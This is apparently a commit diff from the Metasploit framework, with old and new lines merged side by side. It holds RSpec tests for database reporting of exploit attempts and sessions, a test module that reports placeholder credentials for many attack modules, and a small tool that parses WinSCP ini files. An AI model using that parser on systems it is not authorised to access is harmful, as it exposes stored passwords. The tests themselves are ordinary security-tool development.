eq(";$)\x88\x89#'\x85\x81\x84\x83\x91\x16\x93\x94\x95\x96\x04\x98\x99\x90/\xC2\xC4\xC0\xC1\e\x82-=")
end
end
context ".to_utf8" do context ".to_utf8" do
it "should convert a string to UTF-8, skipping badchars" do it "should convert a string to UTF-8, skipping badchars" do
described_class.to_utf8("Hello, world!").should eq("Hello, world!") described_class.to_utf8("Hello, world!").should eq("Hello, world!")

View File

@ -4,51 +4,437 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do
it { is_expected.to respond_to :report_exploit_failure } it { is_expected.to respond_to :report_exploit_failure }
it { is_expected.to respond_to :report_exploit_success } it { is_expected.to respond_to :report_exploit_success }
describe '#report_exploit_success' do describe '#report_exploit_failure' do
subject(:report_exploit_success) do subject(:report_exploit_failure) do
db_manager.report_exploit_success(opts) db_manager.report_exploit_failure(opts)
end
let(:run) do
match
FactoryGirl.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id)
end
let(:match_set) do
FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace)
end
let(:match) do
FactoryGirl.create(:automatic_exploitation_match,
match_set_id: match_set.id,
matchable_id:vuln_with_match.id,
matchable_type: "Mdm::Vuln"
)
end
let(:vuln_with_match) do
FactoryGirl.create(:mdm_vuln)
end
let(:host) do
FactoryGirl.create(:mdm_host, workspace:workspace)
end end
let(:workspace) do let(:workspace) do
FactoryGirl.create(:mdm_workspace) FactoryGirl.create(:mdm_workspace)
end end
let(:refs) do
[ FactoryGirl.create(:mdm_ref) ]
end
context "with a run" do
let(:opts) do
{
workspace: workspace,
refs: refs,
host: host,
vuln: vuln_with_match,
run_id: run.id
}
end
context 'with a vuln' do
specify do
expect {
report_exploit_failure
}.to change(Mdm::VulnAttempt,:count).by(1)
end
it "should create a match result" do
expect {
report_exploit_failure
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1)
end
it "should create a match result with state FAILED" do
report_exploit_failure
expect(
MetasploitDataModels::AutomaticExploitation::MatchResult.where(
match_id: match.id,
state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED
)
).to exist
end
context "calling report_exploit_success" do
after(:each) do
report_exploit_failure
end
it "should call create_match_result_for_vuln" do
db_manager.should_receive(:create_match_result_for_vuln)
end
it "should call create_match_result" do
db_manager.should_receive(:create_match_result)
end
it "should not call create_match_for_vuln" do
db_manager.should_not_receive(:create_match_for_vuln)
end
end
end
context 'without a vuln' do
let(:vuln_with_match) { nil }
let(:match) {nil}
specify do
expect {
report_exploit_failure
}.not_to change(Mdm::VulnAttempt, :count)
end
it "should not create a match result" do
expect {
report_exploit_failure
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
end
context "calling report_exploit_success" do
after(:each) do
report_exploit_failure
end
it "should not call create_match_result_for_vuln" do
db_manager.should_not_receive(:create_match_result_for_vuln)
end
it "should not call create_match_result" do
db_manager.should_not_receive(:create_match_result)
end
it "should not call create_run_for_vuln" do
db_manager.should_not_receive(:create_run_for_vuln)
end
end
end
end
context "without a run" do
let(:vuln) do
FactoryGirl.create(:mdm_vuln)
end
let(:opts) do
{
workspace: workspace,
refs: refs,
host: host,
vuln: vuln,
}
end
context 'with a vuln' do
specify do
expect {
report_exploit_failure
}.to change(Mdm::VulnAttempt,:count).by(1)
end
it "should not create a match result" do
expect {
report_exploit_failure
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
end
context "calling report_exploit_success" do
after(:each) do
report_exploit_failure
end
it "should call create_match_result_for_vuln" do
db_manager.should_receive(:create_match_result_for_vuln)
end
it "should not call create_match_result" do
db_manager.should_not_receive(:create_match_result)
end
it "should not call create_match_for_vuln" do
db_manager.should_not_receive(:create_match_for_vuln)
end
end
end
context 'without a vuln' do
let(:vuln) { nil }
specify do
expect {
report_exploit_failure
}.not_to change(Mdm::VulnAttempt, :count)
end
it "should not create a match result" do
expect {
report_exploit_failure
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
end
context "calling report_exploit_success" do
after(:each) do
report_exploit_failure
end
it "should not call create_match_result_for_vuln" do
db_manager.should_not_receive(:create_match_result_for_vuln)
end
it "should not call create_match_result" do
db_manager.should_not_receive(:create_match_result)
end
it "should not call create_run_for_vuln" do
db_manager.should_not_receive(:create_match_for_vuln)
end
end
end
end
end
describe '#report_exploit_success' do
subject(:report_exploit_success) do
db_manager.report_exploit_success(opts)
end
let(:session_id) do
FactoryGirl.create(:session, host: host).id
end
let(:run) do
match
FactoryGirl.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id)
end
let(:match_set) do
FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace)
end
let(:match) do
FactoryGirl.create(:automatic_exploitation_match,
match_set_id: match_set.id,
matchable_id:vuln_with_match.id,
matchable_type: "Mdm::Vuln"
)
end
let(:vuln_with_match) do
FactoryGirl.create(:mdm_vuln)
end
let(:host) do let(:host) do
FactoryGirl.create(:mdm_host, workspace: workspace) FactoryGirl.create(:mdm_host, workspace:workspace)
end
let(:workspace) do
FactoryGirl.create(:mdm_workspace)
end end
let(:refs) do let(:refs) do
[ FactoryGirl.create(:mdm_ref) ] [ FactoryGirl.create(:mdm_ref) ]
end end
let(:vuln) do context "with a run" do
FactoryGirl.create(:mdm_vuln) let(:opts) do
end {
workspace: workspace,
refs: refs,
host: host,
vuln: vuln_with_match,
run_id: run.id,
session_id: session_id
}
end
let(:opts) do context 'with a vuln' do
{ specify do
workspace: workspace, expect {
refs: refs, report_exploit_success
host: host, }.to change(Mdm::VulnAttempt,:count).by(1)
vuln: vuln, end
}
end
context 'with a vuln' do it "should create a match result" do
specify do expect {
expect { report_exploit_success
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1)
end
it "should create a match result with state SUCCEEDED" do
report_exploit_success report_exploit_success
}.to change(Mdm::VulnAttempt,:count).by(1) expect(
MetasploitDataModels::AutomaticExploitation::MatchResult.where(
match_id: match.id,
state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED
)
).to exist
end
context "calling report_exploit_success" do
after(:each) do
report_exploit_success
end
it "should call create_match_result_for_vuln" do
db_manager.should_receive(:create_match_result_for_vuln)
end
it "should call create_match_result" do
db_manager.should_receive(:create_match_result)
end
it "should not call create_match_for_vuln" do
db_manager.should_not_receive(:create_match_for_vuln)
end
end
end
context 'without a run' do
let(:vuln_with_match) { nil }
let(:match) {nil}
specify do
expect {
report_exploit_success
}.not_to change(Mdm::VulnAttempt, :count)
end
it "should not create a match result" do
expect {
report_exploit_success
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
end
context "calling report_exploit_success" do
after(:each) do
report_exploit_success
end
it "should not call create_match_result_for_vuln" do
db_manager.should_not_receive(:create_match_result_for_vuln)
end
it "should not call create_match_result" do
db_manager.should_not_receive(:create_match_result)
end
it "should not call create_match_for_vuln" do
db_manager.should_not_receive(:create_match_for_vuln)
end
end
end end
end end
context 'without a vuln' do context "without a run" do
let(:vuln) { nil } let(:vuln) do
FactoryGirl.create(:mdm_vuln)
end
let(:opts) do
{
workspace: workspace,
refs: refs,
host: host,
vuln: vuln,
}
end
context 'with a vuln' do
specify do
expect {
report_exploit_success
}.to change(Mdm::VulnAttempt,:count).by(1)
end
it "should not create a match result" do
expect {
report_exploit_success
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
end
context "calling report_exploit_success" do
after(:each) do
report_exploit_success
end
it "should call create_match_result_for_vuln" do
db_manager.should_receive(:create_match_result_for_vuln)
end
it "should not call create_match_result" do
db_manager.should_not_receive(:create_match_result)
end
it "should not call create_match_for_vuln" do
db_manager.should_not_receive(:create_match_for_vuln)
end
end
end
context 'without a vuln' do
let(:vuln) { nil }
specify do
expect {
report_exploit_success
}.not_to change(Mdm::VulnAttempt, :count)
end
it "should not create a match result" do
expect {
report_exploit_success
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
end
context "calling report_exploit_success" do
after(:each) do
report_exploit_success
end
it "should not call create_match_result_for_vuln" do
db_manager.should_not_receive(:create_match_result_for_vuln)
end
it "should not call create_match_result" do
db_manager.should_not_receive(:create_match_result)
end
it "should not call create_match_for_vuln" do
db_manager.should_not_receive(:create_match_for_vuln)
end
end
specify do
expect {
report_exploit_success
}.not_to change(Mdm::VulnAttempt, :count)
end end
end end

View File

@ -46,7 +46,6 @@ shared_examples_for 'Msf::DBManager::Session' do
framework: framework, framework: framework,
name: name name: name
) )
allow(d).to receive(:user_data_is_match?).and_return(false)
d d
end end
@ -122,37 +121,362 @@ shared_examples_for 'Msf::DBManager::Session' do
) )
end end
context 'with a match in user_data' do context 'with a run_id in user_data' do
let(:vuln) do before(:each) do
FactoryGirl.create(:mdm_vuln, MetasploitDataModels::AutomaticExploitation::MatchSet.any_instance.stub(:create_match_for_vuln).and_return(nil)
name: parent_module_name, end
host: host)
let(:match_set) do
FactoryGirl.create(:automatic_exploitation_match_set, user: session_workspace.owner,workspace:session_workspace)
end
let(:run) do
FactoryGirl.create(:automatic_exploitation_run, workspace: session_workspace, match_set_id: match_set.id)
end end
let(:user_data) do let(:user_data) do
{ {
match: FactoryGirl.build(:automatic_exploitation_match, matchable: vuln), run_id: run.id
match_set: FactoryGirl.build(:automatic_exploitation_match_set),
run: FactoryGirl.build(:automatic_exploitation_run, workspace: session_workspace),
} }
end end
before do context 'with :workspace' do
allow(module_instance).to receive(:user_data_is_match?).and_return(true) before(:each) do
options[:workspace] = options_workspace
end
it 'should not find workspace from session' do
db_manager.should_not_receive(:find_workspace)
expect { report_session }.to change(Mdm::Vuln, :count).by(1)
end
end end
it 'should make a MatchResult' do context 'without :workspace' do
expect { it 'should find workspace from session' do
db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original
report_session report_session
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult, :count).by(1) end
it 'should pass session.workspace to #find_or_create_host' do
db_manager.should_receive(:find_or_create_host).with(
hash_including(
:workspace => session_workspace
)
).and_return(host)
expect { report_session }.to change(Mdm::Vuln, :count).by(1)
end
end end
it 'should not increase the host count' do context 'with workspace from either :workspace or session' do
expect { report_session }.not_to change(Mdm::Host, :count) it 'should pass normalized host from session as :host to #find_or_create_host' do
end normalized_host = double('Normalized Host')
db_manager.stub(:normalize_host).with(session).and_return(normalized_host)
# stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere.
db_manager.stub(:report_vuln)
it 'should not increase the vuln count' do db_manager.should_receive(:find_or_create_host).with(
expect { report_session }.not_to change(Mdm::Vuln, :count) hash_including(
:host => normalized_host
)
).and_return(host)
report_session
end
context 'with session responds to arch' do
let(:arch) do
FactoryGirl.generate :mdm_host_arch
end
before(:each) do
session.stub(:arch => arch)
end
it 'should pass :arch to #find_or_create_host' do
db_manager.should_receive(:find_or_create_host).with(
hash_including(
:arch => arch
)
).and_call_original
expect { report_session }.to change(Mdm::Vuln, :count).by(1)
end
end
context 'without session responds to arch' do
it 'should not pass :arch to #find_or_create_host' do
db_manager.should_receive(:find_or_create_host).with(
hash_excluding(
:arch
)
).and_call_original
expect { report_session }.to change(Mdm::Vuln, :count).by(1)
end
end
it 'should create an Mdm::Session' do
expect {
report_session
}.to change(Mdm::Session, :count).by(1)
end
it { should be_an Mdm::Session }
it 'should set session.db_record to created Mdm::Session' do
mdm_session = report_session
session.db_record.should == mdm_session
end
context 'with session.via_exploit' do
it 'should create Mdm::Vuln' do
expect {
report_session
}.to change(Mdm::Vuln, :count).by(1)
end
context 'created Mdm::Vuln' do
let(:mdm_session) do
Mdm::Session.last
end
let(:rport) do
nil
end
before(:each) do
Timecop.freeze
session.exploit_datastore['RPORT'] = rport
report_session
end
after(:each) do
Timecop.return
end
subject(:vuln) do
Mdm::Vuln.last
end
it { expect(subject.host).to eq(Mdm::Host.last) }
it { expect(subject.refs).to eq([]) }
it { expect(subject.exploited_at).to be_within(1.second).of(Time.now.utc) }
context "with session.via_exploit 'exploit/multi/handler'" do
context "with session.exploit_datastore['ParentModule']" do
it { expect(subject.info).to eq("Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}") }
it { expect(subject.name).to eq(parent_module_name) }
end
end
context "without session.via_exploit 'exploit/multi/handler'" do
let(:reference_name) do
'windows/smb/ms08_067_netapi'
end
before(:each) do
path = File.join(
parent_path,
'exploits',
"#{reference_name}.rb"
)
type = 'exploit'
# fake cache data for ParentModule so it can be loaded
framework.modules.send(
:module_info_by_path=,
{
path =>
{
:parent_path => parent_path,
:reference_name => reference_name,
:type => type,
}
}
)
session.via_exploit = "#{type}/#{reference_name}"
end
it { expect(subject.info).to eq("Exploited by #{session.via_exploit} to create Session #{mdm_session.id}") }
it { expect(subject.name).to eq(reference_name) }
end
context 'with RPORT' do
let(:rport) do
# use service.port instead of having service use rport so
# that service is forced to exist before call to
# report_service, which happens right after using rport in
# outer context's before(:each)
service.port
end
let(:service) do
FactoryGirl.create(
:mdm_service,
:host => host
)
end
it { expect(subject.service).to eq(service) }
end
context 'without RPORT' do
it { expect(subject.service).to be_nil }
end
end
context 'created Mdm::ExploitAttempt' do
let(:rport) do
nil
end
before(:each) do
Timecop.freeze
session.exploit_datastore['RPORT'] = rport
report_session
end
after(:each) do
Timecop.return
end
subject(:exploit_attempt) do
Mdm::ExploitAttempt.last
end
it { expect(subject.attempted_at).to be_within(1.second).of(Time.now.utc) }
# @todo https://www.pivotaltracker.com/story/show/48362615
it { expect(subject.session_id).to eq(Mdm::Session.last.id) }
it { expect(subject.exploited).to be_truthy }
# @todo https://www.pivotaltracker.com/story/show/48362615
it { expect(subject.vuln_id).to eq(Mdm::Vuln.last.id) }
context "with session.via_exploit 'exploit/multi/handler'" do
context "with session.datastore['ParentModule']" do
it { expect(subject.module).to eq(parent_module_fullname) }
end
end
context "without session.via_exploit 'exploit/multi/handler'" do
before(:each) do
session.via_exploit = parent_module_fullname
end
it { expect(subject.module).to eq(session.via_exploit) }
end
end
end
context 'returned Mdm::Session' do
before(:each) do
Timecop.freeze
end
after(:each) do
Timecop.return
end
subject(:mdm_session) do
report_session
end
#
# Ensure session has attributes present so its on mdm_session are
# not just comparing nils.
#
it 'should have session.info present' do
session.info.should be_present
end
it 'should have session.sid present' do
session.sid.should be_present
end
it 'should have session.platform present' do
session.platform.should be_present
end
it 'should have session.type present' do
session.type.should be_present
end
it 'should have session.via_exploit present' do
session.via_exploit.should be_present
end
it 'should have session.via_payload present' do
session.via_exploit.should be_present
end
it { expect(subject.datastore).to eq(session.exploit_datastore.to_h) }
it { expect(subject.desc).to eq(session.info) }
it { expect(subject.host_id).to eq(Mdm::Host.last.id) }
it { expect(subject.last_seen).to be_within(1.second).of(Time.now.utc) }
it { expect(subject.local_id).to eq(session.sid) }
it { expect(subject.opened_at).to be_within(1.second).of(Time.now.utc) }
it { expect(subject.platform).to eq(session.platform) }
it { expect(subject.routes).to eq([]) }
it { expect(subject.stype).to eq(session.type) }
it { expect(subject.via_payload).to eq(session.via_payload) }
context "with session.via_exploit 'exploit/multi/handler'" do
it "should have session.via_exploit of 'exploit/multi/handler'" do
session.via_exploit.should == 'exploit/multi/handler'
end
context "with session.exploit_datastore['ParentModule']" do
it "should have session.exploit_datastore['ParentModule']" do
session.exploit_datastore['ParentModule'].should_not be_nil
end
it { expect(subject.via_exploit).to eq(parent_module_fullname) }
end
end
context "without session.via_exploit 'exploit/multi/handler'" do
before(:each) do
reference_name = 'windows/smb/ms08_067_netapi'
path = File.join(
parent_path,
'exploits',
"#{reference_name}.rb"
)
type = 'exploit'
# fake cache data for ParentModule so it can be loaded
framework.modules.send(
:module_info_by_path=,
{
path =>
{
:parent_path => parent_path,
:reference_name => reference_name,
:type => type,
}
}
)
session.via_exploit = "#{type}/#{reference_name}"
end
it "should not have session.via_exploit of 'exploit/multi/handler'" do
session.via_exploit.should_not == 'exploit/multi/handler'
end
it { expect(subject.via_exploit).to eq(session.via_exploit) }
end
end
end end
end end

View File

@ -359,7 +359,126 @@ class Metasploit3 < Msf::Auxiliary
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end end
def test_mount_cifs_creds
mod = framework.post.create('linux/gather/mount_cifs_creds')
mock_post_mod_session(mod)
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'smb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_mysql_enum
mod = framework.auxiliary.create('admin/mysql/mysql_enum')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'mysql', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_jtr_oracle_fast
mod = framework.auxiliary.create('analyze/jtr_oracle_fast')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'oracle', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_vbulletin_vote_sqli_exec
mod = framework.exploits.create('unix/webapp/vbulletin_vote_sqli_exec')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_sap_mgmt_con_brute_login
mod = framework.auxiliary.create('scanner/sap/sap_mgmt_con_brute_login')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_sap_ctc_verb_tampering_user_mgmt
mod = framework.auxiliary.create('scanner/sap/sap_ctc_verb_tampering_user_mgmt')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_scanner_oracle_login
mod = framework.auxiliary.create('scanner/oracle/oracle_login')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'tcp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF, status: Metasploit::Model::Login::Status::SUCCESSFUL)
end
def test_isqlplus_login
mod = framework.auxiliary.create('scanner/oracle/isqlplus_login')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'tcp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_dvr_config_disclosure
mod = framework.auxiliary.create('scanner/misc/dvr_config_disclosure')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_lotus_domino_login
mod = framework.auxiliary.create('scanner/lotus/lotus_domino_login')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_openmind_messageos_login
mod = framework.auxiliary.create('scanner/http/openmind_messageos_login')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_dell_idrac
mod = framework.auxiliary.create('scanner/http/dell_idrac')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_windows_deployment_services
mod = framework.auxiliary.create('scanner/dcerpc/windows_deployment_services')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'dcerpc', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_couchdb_login
mod = framework.auxiliary.create('scanner/couchdb/couchdb_login')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'couchdb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_wp_w3_total_cache_hash_extract
mod = framework.auxiliary.create('gather/wp_w3_total_cache_hash_extract')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_windows_deployment_services_shares
mod = framework.auxiliary.create('gather/windows_deployment_services_shares')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'smb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_vbulletin_vote_sqli
mod = framework.auxiliary.create('gather/vbulletin_vote_sqli')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_hp_snac_domain_creds
mod = framework.auxiliary.create('gather/hp_snac_domain_creds')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'hp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_d20pass
mod = framework.auxiliary.create('gather/d20pass')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'hp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_doliwamp_traversal_creds
mod = framework.auxiliary.create('gather/doliwamp_traversal_creds')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'hp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_apache_rave_creds
mod = framework.auxiliary.create('gather/apache_rave_creds')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'Apache Rave', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_wordpress_long_password_dos
mod = framework.auxiliary.create('dos/http/wordpress_long_password_dos')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, proof: FAKE_PROOF)
end
def test_modicon_password_recovery
mod = framework.auxiliary.create('admin/scada/modicon_password_recovery')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_advantech_webaccess_dbvisitor_sqli
mod = framework.auxiliary.create('admin/scada/advantech_webaccess_dbvisitor_sqli')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def run def run
counter_all = 0 counter_all = 0
@ -389,4 +508,8 @@ class Metasploit3 < Msf::Auxiliary
print_line print_line
end end
def mock_post_mod_session(mod)
mod.define_singleton_method(:session_db_id) { 1 }
end
end end

13
tools/winscp_decrypt.rb Executable file
View File

@ -0,0 +1,13 @@
#!/usr/bin/env ruby
$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__)
require 'rex/parser/winscp'
exit unless ARGV.count == 1
include Rex::Parser::WinSCP
puts ARGV.first
read_and_parse_ini(ARGV.first).each do |res|
puts res.inspect
end